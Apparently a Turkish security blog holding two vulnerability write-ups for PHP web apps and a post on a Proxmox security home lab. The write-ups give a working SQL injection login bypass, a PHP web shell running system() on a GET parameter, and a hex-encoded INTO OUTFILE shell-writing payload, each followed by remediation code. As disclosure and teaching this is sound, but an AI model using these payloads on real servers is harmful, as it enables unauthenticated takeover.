Bu raporda, "Simple Image Gallery 1.0" uygulamasında kritik bir Uzaktan Kod Yürütme (RCE) zafiyetinin nasıl keşfedildiğini ve istismar edildiğini detaylandıracağım. Bir güvenlik araştırmacısı olarak amacım, kimlik doğrulaması gerektirmeyen bir saldırı vektörü üzerinden sunucuda tam kontrol sağlamaktı. Saldırı zinciri iki temel zafiyetten oluşmaktadır: Kimlik doğrulamayı atlamak için SQL Enjeksiyonu ve keyfi kod yürütmek için Kısıtlanmamış Dosya Yükleme.

Zafiyet Analizi

Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)

İlk hedefim, uygulamanın giriş mekanizmasıydı. classes/Login.php dosyasını incelediğimde, kullanıcı girişlerinin veritabanı sorgusuna doğrudan dahil edildiğini fark ettim.

// classes/Login.php içindeki Zafiyetli Kod
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

Görüldüğü üzere, $username değişkeni herhangi bir temizleme işleminden geçirilmeden SQL sorgusuna eklenmektedir. Bu durum, saldırganın sorgu mantığını manipüle etmesine olanak tanır.

Kullanılan Yük (Payload): admin' or '1'='1'#

Bu yük kullanıldığında sorgu şu hale dönüşür:

SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')

# karakteri sorgunun geri kalanını (şifre kontrolünü) devre dışı bırakır ve 1=1 koşulu her zaman doğru olduğu için veritabanı ilk kullanıcıyı (genellikle yönetici) döndürür. Böylece şifreye ihtiyaç duymadan sisteme giriş yapılmış olur.

Aşama 2: Uzaktan Kod Yürütme (Kısıtlanmamış Dosya Yükleme)

Yönetici erişimi sağladıktan sonra, dosya yükleme fonksiyonlarını inceledim. Kullanıcı profilini güncelleme işlemi sırasında (classes/Users.php), yüklenen dosyaların yeterince kontrol edilmediğini tespit ettim.

// classes/Users.php içindeki Zafiyetli Kod
if(isset($_FILES['img']) && $_FILES['img']['tmp_name'] != ''){
    $fname = 'uploads/'.strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
    $move = move_uploaded_file($_FILES['img']['tmp_name'],'../'. $fname);
    // ...
}

Buradaki güvenlik açıkları şunlardır:

Uzantı Kontrolü Yok: Kod, dosya adını ($_FILES['img']['name']) doğrudan kullanır ve uzantının güvenli olup olmadığını (örneğin sadece .jpg veya .png) kontrol etmez.
İçerik Kontrolü Yok: Dosyanın içeriği veya MIME türü doğrulanmaz.
Çalıştırılabilir Dosya: .php uzantılı bir dosya yüklendiğinde, sunucu bunu bir PHP betiği olarak kabul eder ve çalıştırır.

Bu zafiyet, saldırganın sunucuya kötü amaçlı bir PHP dosyası (web shell) yüklemesine ve bu dosyayı tarayıcı üzerinden çağırarak komut çalıştırmasına olanak tanır.

Exploit Geliştirme

Bu saldırı zincirini otomatize etmek için bir Python betiği (exploit.py) geliştirdim. Betiğin çalışma mantığı şu şekildedir:

Oturum Başlatma: requests.session() kullanılarak HTTP oturumu başlatılır.
Giriş Atlatma: classes/Login.php?f=login adresine SQL enjeksiyon yükü (admin' or '1'='1'#) gönderilir. Başarılı yanıt alındığında oturum açılmış olur.
Kullanıcı Bilgilerini Koruma: Profil güncelleme işlemi tüm alanları değiştirdiği için, önce mevcut kullanıcı bilgileri (ID, Ad, Soyad, Kullanıcı Adı) ?page=user sayfasından çekilir (scrape edilir). Bu adım, mevcut verilerin bozulmasını önlemek için önemlidir.
Shell Yükleme: classes/Users.php?f=save adresine multipart/form-data isteği gönderilir.
- Çekilen kullanıcı bilgileri form verisi olarak eklenir.
- img alanına, içinde PHP kodu bulunan ve .php uzantılı rastgele isimlendirilmiş bir dosya eklenir.
- Payload: <?php if(isset($_GET['cmd'])){ echo '<pre>'; $cmd = ($_GET['cmd']); system($cmd); echo '</pre>'; die; } ?>
Çalıştırma: Yükleme işleminden sonra profil sayfası tekrar kontrol edilerek yüklenen dosyanın yolu (src özniteliği) bulunur. Son olarak, bu yola ?cmd=whoami parametresi eklenerek komut çalıştırma testi yapılır.

Çözüm ve Kapatma

Bu zafiyetlerin giderilmesi için aşağıdaki adımlar uygulanmalıdır:

1. SQL Enjeksiyonunu Önleme:
Veritabanı sorgularında dize birleştirme yerine Hazırlanmış İfadeler (Prepared Statements) kullanılmalıdır.

Güvenli Örnek:

$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();

2. Dosya Yükleme Güvenliği:
Yüklenen dosyaların uzantıları ve türleri sıkı bir şekilde kontrol edilmelidir. Dosya isimleri kullanıcıdan alınmamalı, sunucu tarafından rastgele oluşturulmalıdır.

Güvenli Örnek:

$allowed = array('jpg', 'jpeg', 'png', 'gif');
$ext = pathinfo($_FILES['img']['name'], PATHINFO_EXTENSION);
if(!in_array(strtolower($ext), $allowed)) {
    exit("Invalid file type");
}
$fname = 'uploads/' . uniqid() . '.' . $ext;

CVE ID: CVE-2025-69460
İlk Yayın Tarihi: 17 Ağustos 2021
Araştırmacı: Tağmaç "Tagoletta"
Canonical reference: https://www.exploit-db.com/exploits/50214
Github Repository: https://github.com/Tagoletta/CVE-2025-69460

Proxmox ile Kompakt Bir Siber Güvenlik Ev Laboratuvarı Kurulumu

2025-12-08T00:00:00Z

Giriş: Eski Donanımı Değerlendirmek

Elimde 16 GB RAM ve 4 çekirdekli Intel(R) Core(TM) i3-4030U CPU @ 1.90GHz işlemciye sahip küçük bir notebook vardı. Bu cihazı kenara atmak yerine, siber güvenlik araştırmalarım ve geliştirmelerim için taşınabilir, izole ve güçlü bir laboratuvar ortamına dönüştürmeye karar verdim. Çözüm? Proxmox VE.

Bu yazıda, Proxmox'un ne olduğundan, kurulum inceliklerinden ve üzerinde koşturduğum 4 kritik sanal makinenin (VM) detaylarından bahsedeceğim.

Proxmox VE Nedir?

Proxmox Virtual Environment (VE), kurumsal sınıf sanallaştırma işlemlerini yönetmek için kullanılan açık kaynaklı, Debian tabanlı bir "bare-metal" (doğrudan donanıma kurulan) hipervizördür. VirtualBox veya VMware Workstation gibi bir işletim sistemi üzerine kurulmaz; kendisi işletim sistemidir.

Proxmox'u bu kadar güçlü kılan iki temel teknolojiyi barındırmasıdır:

KVM (Kernel-based Virtual Machine): Tam sanallaştırma sağlar. Windows, Linux, BSD gibi herhangi bir işletim sistemini, sanki fiziksel bir makineymiş gibi çalıştırabilirsiniz. Donanımı tamamen simüle eder.
LXC (Linux Containers): İşletim sistemi seviyesinde sanallaştırma sağlar. Çok daha hafiftir çünkü ana makinenin (host) çekirdeğini (kernel) paylaşır. Sadece Linux dağıtımları çalıştırılabilir ama performansı "native" hıza çok yakındır.

Kurulum ve Konfigürasyonda Dikkat Edilmesi Gerekenler

Kurulumu standart ISO dosyası üzerinden USB ile başlattım. Ancak donanımım sınırlı olduğu için (özellikle CPU ve RAM), konfigürasyonda bazı stratejik kararlar almam gerekti:

Dosya Sistemi (ZFS vs LVM): Proxmox, ZFS dosya sistemini destekler ve bu harika veri bütünlüğü sağlar. Ancak ZFS çok fazla RAM tüketir (genellikle her 1TB disk için 1GB+ RAM önerilir). 16 GB RAM'im olduğu için ZFS yerine daha hafif olan LVM-Thin yapısını tercih ettim. Bu sayede RAM'i sanal makinelerime sakladım.
Ağ Yapılandırması (Linux Bridge): Notebook'un tek bir ethernet portu ve bir Wi-Fi kartı var. Proxmox, Wi-Fi kartlarını "bridge" modunda kullanmakta zorlanabilir. Bu yüzden ethernet portunu ana yönetim ve WAN çıkışı olarak yapılandırdım.
Kaynak Kısıtlaması: CPU'm eski nesil bir i3 olduğu için, sanal makinelere gereğinden fazla vCPU (sanal çekirdek) atamaktan kaçındım. Genellikle "Host" tipi işlemci modelini seçerek, fiziksel işlemcinin tüm özelliklerinin (AES-NI vb.) sanal makineye aktarılmasını sağladım.

Laboratuvar Ortamım: 4 Temel Makine

Şu anda aktif olarak kullandığım yapı, hem savunma hem de saldırı senaryolarını simüle edebileceğim şekilde tasarlandı:

1. Tor Gateway (Ubuntu Template - VM)

Bu makine, laboratuvarın "görünmezlik pelerini"dir.

Detaylı Yapı: Ubuntu Server üzerine kurulu minimal bir sistem. İki sanal ağ arayüzüne sahip olabilir veya tek arayüz üzerinden routing yapabilir.
Çalışma Mantığı: İçerisinde Tor servisi "Transparent Proxy" modunda çalışıyor. iptables kuralları ile gelen tüm trafiği Tor portuna (genellikle 9040) yönlendiriyor.
Neden Gerekli?: Kali Linux üzerinde varsayılan olarak gelen Tor servisinde zaman zaman çıkış nodu (exit node) sorunları yaşanabiliyor. Ayrıca her makineye ayrı ayrı Tor Browser kurmak yerine, merkezi bir çıkış noktası kullanmak çok daha pratik.
Kullanım Senaryosu: Statik bir yerel IP adresi (örn: 10.10.10.254) verdim. Diğer sanal makinelerin "Gateway" (Ağ Geçidi) adresini bu IP yaptığım anda, o makinenin tüm trafiği şifrelenip Tor ağına giriyor.
Tarayıcı Entegrasyonu: Kendi ana bilgisayarımda Tor Browser kullanmak yerine, Firefox/Chrome üzerine kurduğum FoxyProxy gibi eklentilerle trafiği bu makinenin IP'sine yönlendiriyorum. Böylece standart tarayıcım üzerinden Tor ağına erişebiliyorum.
Özel Port: Tor çıkış portunu varsayılan yerine 65534 olarak yapılandırdım. Bu, bazı basit port taramalarından kaçınmayı ve trafiği daha spesifik yönetmeyi sağlıyor.

2. Exploit Development & ZeroDay Hunting (Ubuntu Template - VM)

Burası benim ana çalışma tezgahım. İzole edilmiş, kirlenmeye müsait bir ortam.

Neden VM?: Exploit geliştirirken bazen sistem kararsız hale gelebilir veya kernel panic yaşanabilir. VM olması, anlık "Snapshot" (sistem görüntüsü) alıp, bir şeyler ters gittiğinde saniyeler içinde geri dönebilmemi sağlıyor.
Uzaktan Geliştirme (VS Code SSH): Bu makinede grafik arayüz kullanmak yerine, ana bilgisayarımdaki Visual Studio Code üzerinden Remote - SSH eklentisi ile bağlanıyorum. Bu sayede kod yazma, debug etme ve dosya yönetimi işlemlerini kendi konforlu ortamımda yaparken, kodlar aslında izole VM üzerinde çalışıyor. GDB entegrasyonu ile exploit debug etmek bu şekilde çok daha verimli oluyor.
İçerik:
- Web Sunucusu: Nginx kurulu. Zafiyetli olduğunu düşündüğüm açık kaynak projeleri veya kendi yazdığım test senaryolarını burada barındırıyorum.
- Araçlar: Python, GDB (debugger), Burp Suite (headless veya remote), ve çeşitli fuzzing araçları hazır durumda.
ZeroDay Hunting: İndirdiğim bir CMS'i veya kütüphaneyi burada çalıştırıp, dış dünyadan tamamen izole bir şekilde üzerinde zafiyet taraması yapıyorum.

3. Docker Host (Ubuntu Template - VM/CT)

Mikro servisler ve hızlı denemeler için kullandığım oyun alanı.

Yapı: Docker Engine ve Docker Compose kurulu temiz bir Ubuntu.
Neden Ayrı Bir Makine?: Proxmox'un kendisine (host makineye) asla Docker kurmamalısınız. Bu, sistemin kararlılığını bozabilir. Bunun yerine ayrı bir sanal makine veya LXC konteyneri içinde Docker çalıştırmak en temiz yöntemdir.
Kullanım:
- Yeni çıkan bir güvenlik aracını denemek istediğimde (örn: bir C2 sunucusu veya analiz aracı), GitHub'dan çekip burada docker-compose up diyorum.
- Kendi geliştirdiğim küçük scriptleri konteynerize edip burada test ediyorum.
- Portainer gibi bir arayüz ile görsel yönetim sağlıyorum.

4. OPNsense Firewall & VPN (VM)

Ağın beyni, güvenlik görevlisi ve dış dünyaya açılan kapı.

Yapı: FreeBSD tabanlı, pfSense çatalı olan OPNsense.
Konfigürasyon:
- Firewall: İçerideki makineler (Exploit Dev, Docker vb.) birbirleriyle ve internetle nasıl konuşacak? Kuralları burada yazıyorum. Örneğin, "Exploit Dev makinesi sadece Tor Gateway'e erişebilsin, normal internete çıkamasın" gibi kurallar yazarak malware'in eve "telefon etmesini" (C2 iletişimi) engelleyebiliyorum.
- Malware Analizi: Şüpheli bir dosya çalıştırdığımda, OPNsense loglarından hangi IP adreslerine bağlanmaya çalıştığını, hangi portları kullandığını canlı olarak izliyorum.
- Wireguard VPN: OPNsense üzerinde Wireguard varsayılan olarak (veya eklenti ile kolayca) geliyor. Evde değilken, kafede veya ofisteyken bu laboratuvara güvenli erişim sağlamak için Wireguard kurulu.
- Statik IP Sorunu (Cloudflare Tunnel): Ev internetimde statik IP olmadığı için, dışarıdan erişimde sorun yaşamamak adına Cloudflare Tunnel kullanıyorum. Bu sayede modemde port açmama veya IP değişikliğini takip etmeme gerek kalmadan, güvenli bir tünel üzerinden Wireguard VPN'ime bağlanabiliyorum.

Sonuç

Proxmox, eski bir donanımı bile kurumsal seviyede bir siber güvenlik laboratuvarına dönüştürebiliyor. VM ve CT (Konteyner) teknolojilerini doğru harmanlayarak, 16 GB RAM ile hem saldırı hem de savunma tarafında kapsamlı çalışmalar yürütebiliyorum. Bu yapı, öğrenmek ve denemek isteyen herkes için maliyetsiz ama çok güçlü bir başlangıç noktası.

Traffic Offense Management System 1.0 - Remote Code Execution (Unauthenticated)

2021-08-18T21:00:00Z

Exploit Kodunu Görüntüle

Giriş

Bu raporda, "Traffic Offense Management System 1.0" uygulamasında keşfedilen kritik bir Uzaktan Kod Yürütme (RCE) zafiyetini inceleyeceğiz. Bu zafiyet, kimliği doğrulaması yapılmamış bir saldırganın sunucuyu tamamen ele geçirmesine olanak tanır. Saldırı zinciri, kimlik doğrulama mekanizmasını atlatmak için bir SQL Enjeksiyonu ile başlar ve ardından sunucuya kötü amaçlı bir PHP dosyası yazmak için başka bir SQL Enjeksiyonu (INTO OUTFILE) kullanır.

Zafiyet Analizi

Aşama 1: Kimlik Doğrulama Atlatma (SQL Enjeksiyonu)

Saldırının ilk adımı, yönetim paneline erişim sağlamaktır. Uygulamanın giriş mekanizması classes/Login.php dosyasını incelediğimizde, $username değişkeninin doğrudan SQL sorgusuna dahil edildiğini görüyoruz.

// classes/Login.php
$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

Görüldüğü gibi, $username değişkeni doğrudan SQL sorgusuna dahil edilmektedir. Bu, klasik bir SQL Enjeksiyonu zafiyetidir.

Kullanılan Yük (Payload): admin' or '1'='1'#

Bu yük gönderildiğinde sorgu şu hale gelir:

SELECT * from users where username = 'admin' or '1'='1'#' and password = md5('...')

Bu sorgu her zaman doğru döneceği için saldırgan, şifreyi bilmeden yönetici olarak giriş yapabilir.

Aşama 2: Yol İfşası (Path Disclosure)

Dosya yazabilmek için sunucudaki tam dosya yolunu (absolute path) bilmemiz gerekir. admin/drivers/manage_driver.php dosyasındaki id parametresi de SQL enjeksiyonuna açıktır.

// admin/drivers/manage_driver.php
$qry = $conn->query("SELECT * from `drivers_list` where id = '{$_GET['id']}' ");

Eğer id parametresine tek tırnak (') gönderilirse, SQL sözdizimi bozulur ve PHP bir uyarı (Warning) mesajı döndürür. Bu mesaj, dosyanın sunucudaki tam yolunu içerir.

Aşama 3: Uzaktan Kod Yürütme (SQL Injection - INTO OUTFILE)

Yolu öğrendikten sonra, aynı SQL enjeksiyon noktasını (admin/drivers/manage_driver.php) kullanarak sunucuya bir dosya yazabiliriz. MySQL'in INTO OUTFILE özelliği, sorgu sonuçlarını bir dosyaya yazmak için kullanılır.

Kullanılan Yük (Payload):

' LIMIT 0,1 INTO OUTFILE '/var/www/html/admin/shell.php' LINES TERMINATED BY 0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e -- -

Bu yük, sorgu sonucunu (veya daha doğrusu LINES TERMINATED BY ile belirttiğimiz PHP kodunu) sunucuda belirtilen yola yazar. Hex olarak kodlanmış kısım <?php system($_GET['cmd']); ?> koduna karşılık gelir.

Exploit Geliştirme

Geliştirilen Python betiği (50244.py) şu adımları otomatikleştirir:

Login Bypass: classes/Login.php adresine SQLi yükü göndererek oturum açar.
Sürücü ID Tespiti: admin/?page=drivers sayfasını tarayarak geçerli bir sürücü ID'si bulur. Bu ID, bir sonraki SQL enjeksiyonu için gereklidir.
Yol Tespiti: manage_driver sayfasına hatalı bir ID göndererek dönen hata mesajından sunucunun tam yolunu ayrıştırır.
Shell Yükleme: INTO OUTFILE tekniğini kullanarak, tespit edilen yola rastgele isimli bir PHP dosyası yazar.
Komut Çalıştırma: Yüklenen PHP dosyasına bir istek göndererek whoami komutunu çalıştırır ve sonucu ekrana basar.

Çözüm ve Kapatma

Bu zafiyetlerin giderilmesi için:

Hazırlanmış İfadeler (Prepared Statements): Tüm veritabanı sorgularında parametreli sorgular kullanılmalıdır.

Zafiyetli:

$qry = $this->conn->query("SELECT * from users where username = '$username' and password = md5('$password') ");

Güvenli:

$stmt = $this->conn->prepare("SELECT * from users where username = ? and password = md5(?)");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
$qry = $stmt->get_result();

Hata Gösterimini Kapatma: Canlı sistemlerde display_errors kapalı olmalıdır.
Veritabanı Yetkilerini Kısıtlama: Veritabanı kullanıcısının FILE yetkisi (dosya okuma/yazma) kaldırılmalıdır.

İlk Yayın Tarihi: 19 Ağustos 2021
Araştırmacı: Tağmaç "Tagoletta"
Canonical reference: https://www.exploit-db.com/exploits/50244